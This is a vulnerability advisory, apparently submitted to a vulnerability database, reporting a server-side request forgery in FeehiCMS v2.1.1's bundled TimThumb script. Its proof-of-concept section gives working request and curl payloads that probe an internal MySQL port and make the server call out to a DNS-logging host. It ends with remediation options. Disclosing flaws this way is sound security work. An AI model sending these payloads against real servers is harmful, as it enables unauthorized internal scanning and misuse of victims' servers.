Отправить #718278: FeehiCMS https://github.com/liufee/cms v2.1.1 Server-Side Request Forgery

# Server-Side Request Forgery (SSRF) Vulnerability in FeehiCMS via TimThumb

**BUG_Author:** security_researcher

**Affected Version:** FeehiCMS v2.1.1 (TimThumb v2.8.13)

**Vendor:** [FeehiCMS GitHub Repository](https://github.com/liufee/cms)

**Software:** [FeehiCMS](https://github.com/liufee/cms)

**Vulnerability Files:**

- `frontend/web/timthumb.php`

---

## Description:

### 1. Vulnerability Overview

The FeehiCMS v2.1.1 application includes TimThumb v2.8.13, a PHP script used for image resizing and manipulation. The default configuration of TimThumb in FeehiCMS allows fetching images from arbitrary external URLs without any domain restrictions. This creates a Server-Side Request Forgery (SSRF) vulnerability that can be exploited by unauthenticated attackers.

### 2. Vulnerable Code

In the file `frontend/web/timthumb.php`, the following configuration at lines 31-32 enables unrestricted external URL fetching:

```php
if(! defined('ALLOW_EXTERNAL') ) define ('ALLOW_EXTERNAL', TRUE);
if(! defined('ALLOW_ALL_EXTERNAL_SITES') ) define ('ALLOW_ALL_EXTERNAL_SITES', true);
```

- `ALLOW_EXTERNAL = TRUE`: Allows fetching images from external websites
- `ALLOW_ALL_EXTERNAL_SITES = true`: Disables the whitelist restriction, allowing requests to ANY external domain

### 3. Exploitation

#### 3.1 Internal Port Scanning

**Request to scan MySQL port (3306):**

```
GET /timthumb.php?src=http://127.0.0.1:3306/ HTTP/1.1
Host: <target-ip>
```

**Response (confirms server attempted internal connection):**

```html
<h1>A TimThumb error has occured</h1>
The following error(s) occured:<br />
<ul><li>An error occured fetching image.</li></ul>
<br /><br />Query String : src=http://127.0.0.1:3306/
<br />TimThumb version : 2.8.13
```

This error message confirms the server attempted to connect to the internal MySQL service at `127.0.0.1:3306`.

#### 3.2 Fetching External Resources

**Request to fetch external image:**

```
GET /timthumb.php?src=http://httpbin.org/image/jpeg&w=200&h=200 HTTP/1.1
Host: <target-ip>
```

**Response:**
The server successfully fetches the image from the external URL and returns it to the attacker, confirming the SSRF vulnerability.

---

## Proof of Concept:

### Step 1: DNSLog Verification

Use DNSLog platform to verify the server makes outbound requests.

1. Get a subdomain from http://dnslog.cn (e.g., `lldvq7.dnslog.cn`)

2. Send SSRF request:

```bash
curl "http://<target-ip>/timthumb.php?src=http://ssrf.lldvq7.dnslog.cn/test.jpg"
```

3. Check DNSLog platform for DNS query records.

**Response:**

```html
<h1>A TimThumb error has occured</h1>
The following error(s) occured:<br />
<ul><li>The remote file is not a valid image. Mimetype = &#039;&#039;</li></ul>
<br /><br />Query String : src=http://ssrf.lldvq7.dnslog.cn/test.jpg
```

**DNSLog Result:** The platform shows DNS query record for `ssrf.lldvq7.dnslog.cn`, confirming the server made an outbound DNS request.


### Step 2: External Image Fetching

```bash
curl -o /tmp/ssrf_test.jpg "http://<target-ip>/timthumb.php?src=http://httpbin.org/image/jpeg&w=100&h=100"
file /tmp/ssrf_test.jpg
```

**Expected Result:**

```
/tmp/ssrf_test.jpg: JPEG image data, JFIF standard 1.01, 100x100, 7079 bytes
```

This confirms the server successfully fetched an image from an external URL.


## Remediation:

### Option 1: Disable External URL Fetching

Edit `frontend/web/timthumb.php` and change:

```php
define ('ALLOW_EXTERNAL', FALSE);
```

### Option 2: Use Whitelist for Allowed Domains

```php
define ('ALLOW_EXTERNAL', TRUE);
define ('ALLOW_ALL_EXTERNAL_SITES', false);

$ALLOWED_SITES = array (
'your-trusted-domain.com',
'cdn.your-domain.com'
);
```

### Option 3: Remove TimThumb

Consider removing the TimThumb script entirely and using modern image processing solutions with proper security controls.

---

## References:

- [TimThumb Vulnerabilities History](https://blog.sucuri.net/2011/08/timthumb-security-vulnerability-list.html)
- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)

---

## Timeline:

- **Discovery Date:** 2025-12-18
- **Vendor Notification:** Pending
- **Public Disclosure:** Pending

---

## Disclaimer:

This vulnerability report is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing for vulnerabilities.

• Пользователь: hiro (UID 93548)
• Представление: 18.12.2025 03:14 (6 месяцы назад)
• Модерация: 29.12.2025 16:25 (12 days later)
• Статус: принято
• Запись VulDB: 338663 [FeehiCMS до 2.1.1 TimThumb timthumb.php src эскалация привилегий]
• Баллы: 17